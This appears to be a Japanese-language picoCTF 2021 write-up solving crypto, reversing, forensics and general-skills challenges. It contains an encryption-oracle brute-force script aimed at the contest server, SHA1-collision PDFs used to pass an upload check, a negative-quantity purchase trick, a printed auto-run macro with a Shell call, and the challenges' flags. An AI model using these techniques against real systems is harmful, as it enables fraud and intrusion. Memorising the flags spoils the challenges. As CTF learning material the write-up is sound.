そこまでわかれば、あとは印字可能文字を1文字ずつ暗号化して、暗号文がflagの中にあるかどうかを判別することで、flagの内容を復号できます。

```decrypt.py
from pwn import *
import string
from tqdm import tqdm
from collections import Counter
from functools import lru_cache

io = remote("mercury.picoctf.net", 50075)
flag = io.recvline().strip().decode()
flag = flag[6:]
n = io.recvline().strip().decode()
n = n[3:]
e = io.recvline().strip().decode()
e = e[3:]


def encrypt(s):
    io.sendline(s)
    enc = io.recvline().strip().decode()
    enc = enc[50:]
    return enc


@lru_cache()
def get(c, i):
    enc = encrypt("a" * (i - 1) + c)
    for j in range(1, i):
        enc = enc.replace(get("a", j), "")
    return enc


dec = ""
for i in range(1, 30):
    for j in range(33, 127):
        c = chr(j)
        enc = get(c, i)
        if enc in flag:
            print(c, end="")
            break
```

## It is my Birthday 2 (170pts)
SHA1が衝突するpdfをsubmitせよという問題です。さらに、2つのpdfの終わりの1000バイトは、与えられたinvite.pdfの終わりの1000バイトと一致している必要があります。
2017年に、GoogleがSHA1が衝突したpdfを作成することに成功しました。GPU1枚で110年かかる量の計算により衝突ペアを見つけたそうです。このpdfはhttps://shattered.io/ で公開されているので、SHA1が衝突したpdfを準備することができます。

次に、2つのpdfの最後の1000バイトがinvite.pdfの最後の1000バイトと一致している必要があるという制約ですが、SHA1関数には$SHA1(a)=SHA1(b)$ならば$SHA1(a|c)=SHA1(b|c)$という性質があります。したがって、用意した2つのpdfの末尾に、invite.pdfの最後の1000バイトを追記すれば、sha1が衝突していてかつ、最後の1000バイトがinvite.pdfと一致するファイルを作ることができます。下記のコードを実行すればpdfが作成できます。

```create.py
from hashlib import sha1

#prepare 2 pdfs (shattered-1.pdf and shattered-2.pdf), which are different and have the same hash.
#I prepared pdfs from https://shattered.io/
collision1 = open("shattered-1.pdf","rb").read()
collision2 = open("shattered-2.pdf","rb").read()
invite = open("invite.pdf","rb").read()
assert sha1(collision1).hexdigest() == sha1(collision2).hexdigest()

assert sha1(collision1+invite[-1000:]).hexdigest() == sha1(collision2+invite[-1000:]).hexdigest()
ans1 = open("anser1.pdf","wb")
ans1.write(collision1+invite[-1000:])
ans2 = open("anser2.pdf","wb")
ans2.write(collision2+invite[-1000:])
```

問題文には"Must be a valid PDF"(ちゃんとPDFであること)と記載されていますが、どうやら先頭4バイトしか確認されないようです。
(It is my Birthdayでは、md5が衝突するpdfを提出した際にflagとともにソースコードが表示されましたが、そこではpdfかどうかの判定を```$_FILES["file1"]["type"]=="application/pdf"```という実装で行っていました。本問でも同様の実装がなされていることが期待できます)

## Pixelated (200pts)
2枚の画像が与えられます。2枚の画像を足すと、flagが描画されます。

```pixelated.py
import cv2

img1 = cv2.imread("scrambled1.png")
img2 = cv2.imread("scrambled2.png")
cv2.imwrite("ans.png",img1+img2)
```
![ans.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/240237/5cbca36d-ba72-a807-c2e0-9aec0ccec0d1.png)

流石に難易度と点数が釣り合っていない気がします。

## New Vignere (300pts)
New Ceaserの発展版です。Ceaser暗号はkeyが1文字で、平文のそれぞれの文字を同じだけずらして暗号文を作りますが、Vignere暗号ではkeyが複数文字あり、平文のそれぞれの文字を異なる文字数ずらして暗号文を作ります。
![Vignere.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/240237/c56e7da1-84ea-ee11-f108-5ac8ffe818e5.png)
配布されたソースコードによると鍵はa-pの16文字のALPHABETで構成され、鍵の長さは15文字未満です。また、flagは```"abcdef0123456789"```の16文字から構成されています。New Ceaserでは鍵は高々16通りだったのに対して、今回は1152921504606846976通りにも上るため、全探索は困難です。困難なのですが...

Vignere暗号の解読法として、カシスキー法と呼ばれる頻度分析の亜種が知られていますが、これは自然言語で書かれたかなり長い平文をVignere暗号で暗号化した暗号文に対して適用できる攻撃です。今回与えられた暗号文は"eljodmjdjcnfcdmgbleojbgngojkkdpimebgeigpdkjpmgngpfpgelemjoglghjd"と、頻度分析を行うにはあまりに短すぎます。また、鍵が英単語であると仮定して辞書攻撃を行うこともありますが、今回は鍵がa-pのみで構成されているそれも適用できなさそうです。仕方がないので__brute forceを行います。__コードが長く読みにくくなりましたが、本質的には```"a"```から```"pppppppppppppp"```までの鍵をすべて試すコードです。ただし、鍵長が14文字の鍵までを全て調べると本当に時間が足りないので、とりあえず鍵の長さが10文字未満の鍵から試すことにしました。
pythonは遅いので、並列処理のためだけに用い、主要部はc++で実装しました。下記の2つのプログラムを作成して、```$python decrypt.py```としてpythonプログラムを起動すると、c++をコンパイルして実行します。

```decrypt.cpp
#include <iostream>
#include <unordered_map>
using namespace std;

string b16_decode(string enc, unordered_map<char, int>* mp);
char shift(char c, char k);
string get_key(long long seed);
bool check(string* flag);

int main(int argc, char *argv[]){
        string encrypted = "eljodmjdjcnfcdmgbleojbgngojkkdpimebgeigpdkjpmgngpfpgelemjoglghjd";
        string ALPHABET = "abcdefghijklmnop";

        unordered_map<char, int> mp;
        for(int i=0; i<(int)ALPHABET.size(); i++) {
                mp[ALPHABET[i]]=i;
        }
        long long seed_min = stoll(argv[1]);
        long long seed_max = stoll(argv[2]);


        for(long long seed=seed_min; seed<seed_max; seed++) {
                string key = get_key(seed);
                string dec="";
                for(long long i=0; i<(long long)encrypted.size(); i++) {
                        char c = encrypted[i];
                        dec+=shift(c,key[i%key.size()]);
                }
                string flag = b16_decode(dec, &mp);
                if(check(&flag)) {
                        cout<<"key:"<<key<<" flag:"<<flag<<endl;
                }
        }
}

char shift(char c, char k){
        string ALPHABET = "abcdefghijklmnop";
        return ALPHABET[(c-'a'+k-'a')%ALPHABET.size()];
}

string b16_decode(string enc, unordered_map<char, int>* mp){
        string plain="";
        for(long long i=0; i<(long long)enc.size(); i+=2) {
                int ind1 = (*mp)[enc[i]];
                int ind2 = (*mp)[enc[i+1]];
                plain+=(char)(ind1*16+ind2);
        }
        return plain;
}


string get_key(long long seed){
        string ALPHABET = "abcdefghijklmnop";
        string key="";
        while(seed>0) {
                key+=ALPHABET[seed%ALPHABET.size()];
                seed=seed/ALPHABET.size();
        }
        return key;
}

bool check(string* _flag){
        string flag = *_flag;
        for(long long i=0; i<(long long)flag.size(); i++) {
                if(!(('a'<=flag[i] and flag[i]<='f') or ('0'<=flag[i] and flag[i]<='9'))) {
                        return false;
                }
        }
        return true;
}
```
```decrypt.py
import subprocess
import string
from multiprocessing import Pool, cpu_count
from tqdm import tqdm

ALPHABET = string.ascii_lowercase[:16]
subprocess.call(["g++", "-Wall", "-Ofast", "-o", "vig", "decrypt.cpp"])

def run(d):
    seed_min = d[0]
    seed_max = d[1]
    subprocess.call(["./vig", str(seed_min), str(seed_max)])


batch_size = len(ALPHABET)**13 // (cpu_count() * (16**5))
seeds = [(i, i + batch_size) for i in range(1, len(ALPHABET) ** 10, batch_size)]  # try keys whose length are <10


if __name__ == '__main__':
    with Pool() as p:
        imap = p.imap(run, seeds)
        list(tqdm(imap, total=len(seeds)))
```

gccのオプションに```-Ofast```を指定するのがマジで大事です。```-O3```と比較して倍くらい早くなります。また、ノートPCでは速度が心許なかったので、32コア64スレッドのAMD Ryzen Threadripper 3970Xとメモリ128GBを搭載したサーバーで計算を行いました。
計算は30分ほどで終了し、keyは"pjnehnck"(8文字)、平文は"4b3e1bc357ed090810131aec5ce5bb92"でした。鍵長が8文字だったので、結論としては高火力なサーバーを用意しなくても現実的な時間で終了しますが、14文字とかあった場合はどうやっても総当りでは終わらなかったわけで...想定解は何だったのでしょう。

# Reverse Engineering
## Transformation (20pts)
問題文に```''.join([chr((ord(flag[i]) << 8) + ord(flag[i + 1])) for i in range(0, len(flag), 2)])```と書かれていることから、flagの2文字分のasciiコードを1つにまとめて、再度文字に変換しているようです。したがって、暗号文の文字を分解すればflagが出てきます。

```decode.py
with open("enc","r") as fp:
    for c in fp.read().strip():
        c=ord(c)
        print(chr(c//256),end="")
        print(chr(c%256),end="")
```
## keygenme-py (30pts)
工事中

## crackme-py (30pts)
```decode_secret(secret)``` といういかにもな名前の関数が用意されているので、実行するとflagが出力されます。

```crack.py
from crackme import decode_secret, bezos_cc_secret
decode_secret(bezos_cc_secret)
```

## ARMssembly 0 (40pts)
asmファイルが渡されます。```.arch armv8-a```と記載されていますので、Armアーキテクチャのasmファイルだと推測できます。ですので、__ArmのCPUを用意し、コンパイルして実行します。__
AWS EC2のUbuntuのインスタンスでArm アーキテクチャを選択し、一番安いやつを借りました。インスタンスにgccをインストールしてコンパイルします。

```
$gcc -c chall.S -o chall.o
$gcc chall.o -o chall
$./chall 4004594377 4110761777
> 4110761777
```

Reverse Engineeringとはなんだったのでしょうか。

## speeds and feeds (50pts)
サーバーにアクセスすると、謎の数字や文字列が大量に表示されます。
Googleで調べていくと、どうやらこれはGコードというNC工作機械の制御に使用されるプログラムのようです。金属加工とかに使われるやつですね。おそらくこれを元にNC工作機械を動かせば、なにか(多分flag)が出来上がるのだと思われます。
Macには(多分Windowsにも)FreeCADというOSSのCADソフトがあるので、これにGコードを渡したところ、flagが表示されました。
![speedsandfeeds.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/240237/11baaef0-5750-f3cb-997a-bb9bfa1c03cd.png)

## Shop (50pts)
サーバーに接続すると、オンラインストアに繋がりました。Fruitful Flagが100 coinで販売されていますが40 coinしか持っていないので買えません。代わりに、1個10 coinのQuiet Quichesを-20個購入したところ、手持ちのcoinが240 coinに増えました。これでFruitful Flagが購入できます。
Flagがasciiコードで表示されるので、これを文字に直せば完了です。
実行ファイルなんていらなかったんだ。

## ARMssembly 1 (70pts)
ARMssembly 0同様、Armアーキテクチャのasmファイルが与えられるので、コンパイルして実行します。ただし、今回は、プログラムが"win"と表示するような入力を探す必要があるため、実行しただけではflagは入手できません。できませんが、どうせ入力はそんなに大きくないでしょうから、力技で全部試します。
27を入力した時、"win"と表示されたので、これがflagです。

## ARMssembly 2 (90pts)
ARMssembly 0同様、Armアーキテクチャのasmファイルが与えられるので、コンパイルして実行します。実行するだけなので、ARMssembly 1よりも簡単です。

## ARMssembly 3 (130pts)
ARMssembly 0同様、Armアーキテクチャのasmファイルが与えられるので、コンパイルして実行します。多分出題意図としては、アセンブリを読んでほしかったんだろうな...

## ARMssembly 4 (170pts)
ARMssembly 0同様、Armアーキテクチャのasmファイルが与えられるので、コンパイルして実行します。(ほぼ)CPUを用意してコンパイルして実行するだけで合計500ptsも稼げるのは流石に~~美味しい~~出題ミスですね。

# Forensics
## information (10pts)
猫の画像です。かわいい。じゃなくて...
問題のタイトルがinformationなので、metaデータにflagが書いてあるんじゃないの?と予想。exiftoolを用いて確認します。

```
$ exiftool cat.jpg 
ExifTool Version Number         : 12.16
File Name                       : cat.jpg
Directory                       : .
File Size                       : 858 KiB
File Modification Date/Time     : 2021:03:21 18:31:10+09:00
File Access Date/Time           : 2021:03:22 01:10:20+09:00
File Inode Change Date/Time     : 2021:03:22 01:09:41+09:00
File Permissions                : rw-r--r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.02
Resolution Unit                 : None
X Resolution                    : 1
Y Resolution                    : 1
Current IPTC Digest             : 7a78f3d9cfb1ce42ab5a3aa30573d617
Copyright Notice                : PicoCTF
Application Record Version      : 4
XMP Toolkit                     : Image::ExifTool 10.80
License                         : cGljb0NURnt0aGVfbTN0YWRhdGFfMXNfbW9kaWZpZWR9
Rights                          : PicoCTF
Image Width                     : 2560
Image Height                    : 1598
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 2560x1598
Megapixels                      : 4.1
```
Licenseの項目が怪しいですね。こんなLicenseは見たことがないです。これをbase64でデコードすると、picoCTF{the_m3tadata_1s_modified}というflagが得られます。

余談ですが、私はLicenseが怪しいことには早くから気がついていましたが、それをb64でデコードするという発想に至らず3時間ほど無駄にしました。

## Weird File
設問のwordファイルを開こうとすると、macroが含まれているという警告が出ます。ctfで出題されるものなので、悪質な挙動はしないとは思うのですが、念の為macroをオフにしておきます。
Hintsにある動画の通り、```olevba```を使ってみます。

```
$ olevba -c weird.docm 
olevba 0.56 on Python 3.8.1 - http://decalage.info/python/oletools
===============================================================================
FILE: weird.docm
Type: OpenXML
WARNING  For now, VBA stomping cannot be detected for files in memory
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls 
in file: word/vbaProject.bin - OLE stream: 'VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Sub AutoOpen()
    MsgBox "Macros can run any program", 0, "Title"
    Signature

End Sub
 
 Sub Signature()
    Selection.TypeText Text:="some text"
    Selection.TypeParagraph
    
 End Sub
 
 Sub runpython()

Dim Ret_Val
Args = """" '"""
Ret_Val = Shell("python -c 'print(\"cGljb0NURnttNGNyMHNfcl9kNG5nM3IwdXN9\")'" & " " & Args, vbNormalFocus)
If Ret_Val = 0 Then
   MsgBox "Couldn't run python script!", vbOKOnly
End If
End Sub
```

```print(\"cGljb0NURnttNGNyMHNfcl9kNG5nM3IwdXN9\")``` が怪しいですね。この文字列をbase64でデコードすると、picoCTF{m4cr0s_r_d4ng3r0us}と出力されます。

## Matryshka doll (30pts)
配布ファイルの拡張子はjpgですが、fileコマンドで確認するとpngになっています。そして、画像ファイルをunzipで解答すると、中から新しい画像が出てきます(マトリョーシカですね)。
これを繰り返していくと、最終的にflagが書かれたtxtファイルが出てきます。

## Wireshark doo dooo do doo... (50pts)
pcapngファイルをWiresharkで観察すると、HTTPのリクエストが大量に含まれていることがわかるので、File > Export Objects > HTTP... を選択して、HTTPリクエストの中身を抽出します。保存されたファイルの中に、%2fというファイルがあり、これには"Gur synt vf cvpbPGS{c33xno00_1_f33_h_qrnqorrs}"と書かれていました。Flagをrot13でエンコードしたものに見えるので、Mod 26同様rot13でデコードします。
"The flag is picoCTF{p33kab00_1_s33_u_deadbeef}"

## MacroHard WeakEdge (60pts)

```
$ olevba -c Forensics\ is\ fun.pptm
olevba 0.56 on Python 3.8.1 - http://decalage.info/python/oletools
===============================================================================
FILE: Forensics is fun.pptm
Type: OpenXML
WARNING  For now, VBA stomping cannot be detected for files in memory
-------------------------------------------------------------------------------
VBA MACRO Module1.bas 
in file: ppt/vbaProject.bin - OLE stream: 'VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Sub not_flag()
    Dim not_flag As String
    not_flag = "sorry_but_this_isn't_it"
End Sub
```

ちくせう。
他の方法を探ります。
pptxは実はzip形式のファイルなので、

```
$unzip Forensics\ is\ fun.pptx
```
として中のファイルを取り出します。中を探っていくと、
```ppt/slideMasters/hidden```
というファイルを見つけました。超怪しい。
中には```ZmxhZzogcGljb0NURntEMWRfdV9rbjB3X3BwdHNfcl96MXA1fQ```という文字列があったので、これをbase64でデコードすればflagです。

## Trivial Flag Transfer Protocol (90pts)
pcapngファイルが与えられています。Wiresharkで開くと、TFTPというファイル転送プロトコルで何らかのファイルを転送しているようです。
(不勉強なもので、TFTPというものを始めて知りました。)
File > Export Objects > TFTP... を選択して、やり取りしているファイルを書き出します。中からは

- picture1.bmp
- picture2.bmp
- picture3.bmp
- instructions.txt
- plan
- program.deb

というファイルが出てきました。instructions.txtとplanはテキストファイルで、picture1,2,3は画像ファイルです。fileコマンドでprogram.debを調べてみると、Debian binary packageであることがわかりました。tar.gzで圧縮されているようなので、解凍します。

```
$file program.deb
program.deb: Debian binary package (format 2.0), with control.tar.gz, data compression xz
$tar -zxvf program.deb
x debian-binary
x control.tar.gz
x data.tar.xz
```

中からさらにtar.gzが出てきたので、control.tar.gzを解凍すると、中からcontrolというテキストファイルが出てきました。

```
$ cat control
Package: steghide
Source: steghide (0.5.1-9.1)
Version: 0.5.1-9.1+b1
Architecture: amd64
Maintainer: Ola Lundqvist <opal@debian.org>
Installed-Size: 426
Depends: libc6 (>= 2.2.5), libgcc1 (>= 1:4.1.1), libjpeg62-turbo (>= 1:1.3.1), libmcrypt4, libmhash2, libstdc++6 (>= 4.9), zlib1g (>= 1:1.1.4)
Section: misc
Priority: optional
Description: A steganography hiding tool
 Steghide is steganography program which hides bits of a data file
 in some of the least significant bits of another file in such a way
 that the existence of the data file is not visible and cannot be proven.
 .
 Steghide is designed to be portable and configurable and features hiding
 data in bmp, wav and au files, blowfish encryption, MD5 hashing of
 passphrases to blowfish keys, and pseudo-random distribution of hidden bits
 in the container data.
```

どうやらこれは、Steghideという画像にテキスト等のデータを埋め込むプログラムのようです。となれば、おそらくTFTPでやり取りされていた画像にflagが埋まっているのでしょう。
https://qiita.com/knqyf263/items/6ebf06e27be7c48aab2e 等を参考にflagの抽出を試みたのですが、なんとsteghideにはパスワードが設定されているそうな...
となると、おそらくinstructions.txtかplanのどちらかにパスワードのヒントがあると思われるのですが、

```
$ cat instructions.txt plan 
GSGCQBRFAGRAPELCGBHEGENSSVPFBJRZHFGQVFTHVFRBHESYNTGENAFSRE.SVTHERBHGNJNLGBUVQRGURSYNTNAQVJVYYPURPXONPXSBEGURCYNA
VHFRQGURCEBTENZNAQUVQVGJVGU-QHRQVYVTRAPR.PURPXBHGGURCUBGBF
```

なんの文字列か全くわからずここで詰まってしまいました。悩むこと半日、なんとなくrot13にかけてみたところ...
instructions.txt -> rot13 -> "TFTPDOESNTENCRYPTOURTRAFFICSOWEMUSTDISGUISEOURFLAGTRANSFER.FIGUREOUTAWAYTOHIDETHEFLAGANDIWILLCHECKBACKFORTHEPLAN" ("TFTP doesnt encrypt your traffics so we must disguise our flag transfer. Figure out a way to hide the flag and I will check back for the plan")
plan -> rot13 -> "IUSEDTHEPROGRAMANDHIDITWITH-DUEDILIGENCE.CHECKOUTTHEPHOTOS" ("I used the program and hide it with-duediligence. check out the photos")
という文章が出てきました。Wireshark doo dooo do doo...といい、脈絡のないrot13が多くないですかね???
とにかく、planには WITH-DUEDILIGENCE と書かれているので、"DUEDILIGENCE"をパスワードにしてsteghideを実行してみます。

```
$steghide extract -p "DUEDILIGENCE" -sf picture3.bmp 
wrote extracted data to "flag.txt".
```

無事flagが入手できました。

## Disk, disk, sleuth! (110pts)

```
$ gunzip dds1-alpine.flag.img.gz
$ strings dds1-alpine.flag.img | grep picoCTF
  SAY picoCTF{f0r3ns1c4t0r_n30phyt3_a69a712c}
```
えぇ...(困惑)

## Milkslap (120pts)
男が牛乳をぶっかけられています。汚いなぁ。
CategoryがForensicsですし、HTMLやjavascriptにもとりたてて怪しい点は見当たらないので、concat_v.pngにflagが隠されていると予想しました。
concat_v.pngは、アニメーションのそれぞれのコマを連結したものになっているので、それぞれのカットを切り出してみます。

```milk.py
import cv2
import matplotlib.pyplot as plt
import numpy as np
import binascii

img = cv2.imread("concat_v.png")
img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)

imgs =[]
for i in range(0,img.shape[0],720):
    imgs.append(img[i:i+720,:,:].copy())

plt.figure(figsize=(20,20))
for i in range(66):
    plt.subplot(10,7,i+1)
    plt.imshow(imgs[i])
```
![milk_color.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/240237/c422f25a-d110-4b87-1bc9-8b0b7f76ed7b.png)
特に不審な点は見当たりませんね。

ここで、RGBの3色の、下位1bitの値に注目してみます。
まずは赤。

```milk.py
plt.figure(figsize=(20,20))
for i in range(66):
    plt.subplot(10,7,i+1)
    plt.imshow(imgs[i][:,:,0]%2)
```
![milk_R.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/240237/2f83d85b-1c61-531c-d8bc-23ff67b06e5d.png)
特に不審な点はありません。
次に緑。

```milk.py
plt.figure(figsize=(20,20))
for i in range(66):
    plt.subplot(10,7,i+1)
    plt.imshow(imgs[i][:,:,1]%2)
```
![milk_G.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/240237/c5eafe55-504f-7f37-7a51-efb64cc93f71.png)
こちらも普通です。
最後に青。

```milk.py
plt.figure(figsize=(20,20))
for i in range(66):
    plt.subplot(10,7,i+1)
    plt.imshow(imgs[i][:,:,2]%2)
```
![milk_B.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/240237/78b920e3-97a6-0ce3-12f3-e8f06fd42853.png)

みーつけた。
明らかにこれだけおかしいですね。
青の下位1bitを詳しく調べていくと、ほとんどが0のなか一番上の行に少しだけ1のbitがあることがわかります。
その1と0の並びを2進数とみなして、文字列に変換すればflagを得ることができます。

```crack.py
import cv2
import matplotlib.pyplot as plt
import numpy as np
import binascii

img = cv2.imread("concat_v.png")
img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)
print(binascii.a2b_hex(hex(int("".join([str(i) for i in (img[0:1,:272,2]%2).reshape(-1,)]),2))[2:]))
```

## Disk, disk, sleuth! II (130pts)
さすがにさっきのは酷かった。ということで真面目にやります。
工事中...

# General Skills
## Obedient Cat (5pts)
ウェルカム問題です。Download flagをクリックすると、flagが書かれたファイルがダウンロードされます。
内容は"picoCTF{s4n1ty_v3r1f13d_2aa22101}"なので、これがflagです。

## Python Wrangling (10pts)

```
$ python ende.py
```
として配布されたPythonファイルを実行すると、

```
Usage: ende.py (-e/-d) [file]
```
と表示されました。きっと```-e```がencryptで、```-d```がdecryptなんだろうなということで、

```
$python ende.py -d flag.txt.en
```
を実行します。
すると、

```
Please enter the password:
```
と表示されたので、pw.txtの中身を打ち込みます。

```
picoCTF{4p0110_1n_7h3_h0us3_67c6cc96}
```
無事に答えが表示されました。
## Wave a flag (10pts)

```
$strings warm | grep pico
Oh, help? I actually don't do much, but I do have this flag here: picoCTF{b1scu1ts_4nd_gr4vy_30e77291}
```

## Nice netcat... (15pts)
指示されたサーバーに繋ぐと、

```
$nc mercury.picoctf.net 35652
112 
105 
99 
111 
67 
84 
70 
123 
103 
48 
48 
100 
95 
107 
49 
116 
116 
121 
33 
95 
110 
49 
99 
51 
95 
107 
49 
116 
116 
121 
33 
95 
57 
98 
51 
98 
55 
51 
57 
50 
125 
10
```
と表示されました。asciiコードのようなので、これをアルファベットに直せばflagが入手できます。

## Static ain't always noise (20pts)

```
$ strings static | grep pico
picoCTF{d15a5m_t34s3r_f6c48608}
```
以上。

## Tab, Tab,Attack (20pts)
与えられたzipファイルをひたすら解凍していきます。
そのうち```fang-of-haynekhtnamet```というファイルが出てくるので、

```
strings fang-of-haynekhtnamet | grep pico
*ZAP!* picoCTF{l3v3l_up!_t4k3_4_r35t!_76266e38}
```
として終了です。

## Magikarp Ground Mission (30pts)
指定されたサーバーにsshでログインします。passwordも問題文中に書いてあります。
ログイン先でとりあえず```ls```を入力してファイルを確認すると、1of3.flag.txtとinstructions-to-2of3.txtの２つのファイルがあります。
```cat```で中身を表示すると、1of3.flag.txtには"picoCTF{xxsh_"と書かれており、instructions-to-2of3.txtには"Next, go to the root of all things, more succinctly `/`"  (```/```にアクセスしろ)と書かれています。
```cd /```と入力してrootディレクトリに移動し```ls```をすると2of3.flag.txtとinstructions-to-3of3.txtが見つかります。
また```cat```で中身を確認すると2of3.flag.txtには"0ut_0f_\/\/4t3r_"が、instructions-to-3of3.txtには"Lastly, ctf-player, go home... more succinctly `~`" (```~```にアクセスしろ)が記載されています。
```cd ~```としてホームディレクトリに移動すると、中には3of3.flag.txtがあり、中身は"c1754242}"です。
この3つをつなげるとflagが完成します。

# Binary Explotion
まじでpwnできないので、誰か助けてください。
## What's your input?
工事中...